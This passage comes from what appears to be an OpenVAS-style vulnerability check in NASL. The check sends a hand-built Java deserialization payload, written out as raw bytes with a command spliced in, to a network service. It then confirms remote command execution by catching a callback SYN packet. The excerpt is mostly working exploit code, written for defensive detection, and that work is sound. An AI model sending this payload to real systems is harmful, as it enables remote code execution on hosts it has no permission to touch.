    buf = recv( socket:soc, length:128 );

    if( ! buf || "HELO" >!< buf ) {
      close( soc );
      continue;
    }

    len = raw_string( strlen( cmd ) );

    final_payload = payload_before + len + cmd + raw_string(
      0x74, 0x00, 0x04, 0x65, 0x78, 0x65, 0x63, 0x75, 0x71, 0x00, 0x7e, 0x00, 0x1e, 0x00, 0x00, 0x00,
      0x01, 0x71, 0x00, 0x7e, 0x00, 0x23, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x11, 0x73, 0x72, 0x00, 0x11,
      0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x65,
      0x72, 0x12, 0xe2, 0xa0, 0xa4, 0xf7, 0x81, 0x87, 0x38, 0x02, 0x00, 0x01, 0x49, 0x00, 0x05, 0x76,
      0x61, 0x6c, 0x75, 0x65, 0x78, 0x72, 0x00, 0x10, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e,
      0x67, 0x2e, 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x86, 0xac, 0x95, 0x1d, 0x0b, 0x94, 0xe0, 0x8b,
      0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x01, 0x73, 0x72, 0x00, 0x11, 0x6a, 0x61, 0x76,
      0x61, 0x2e, 0x75, 0x74, 0x69, 0x6c, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x4d, 0x61, 0x70, 0x05, 0x07,
      0xda, 0xc1, 0xc3, 0x16, 0x60, 0xd1, 0x03, 0x00, 0x02, 0x46, 0x00, 0x0a, 0x6c, 0x6f, 0x61, 0x64,
      0x46, 0x61, 0x63, 0x74, 0x6f, 0x72, 0x49, 0x00, 0x09, 0x74, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f,
      0x6c, 0x64, 0x78, 0x70, 0x3f, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0x08, 0x00, 0x00,
      0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x78, 0x78, 0x76, 0x72, 0x00, 0x12, 0x6a, 0x61, 0x76, 0x61,
      0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x4f, 0x76, 0x65, 0x72, 0x72, 0x69, 0x64, 0x65, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x70, 0x71, 0x00, 0x7e, 0x00, 0x3a );

    final_payload += payload_after;

    plen = raw_string( strlen( final_payload ) );

    final_payload = raw_string( 0x00, 0x00, 0x09 ) + plen + final_payload;

    res = send_capture( socket:soc, data:final_payload, timeout:5, pcap_filter:filter );

    close( soc );

    if( ! res )
      continue;

    flags = get_tcp_element( tcp:res, element:"th_flags" );
    if( ( flags & TH_SYN ) ) {
      report = "It was possible to execute the command '" + cmd + "' on the remote host. The TCP-SYN request to port " + rnd_port + " was then successfully captured.";
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host.
exit( 0 );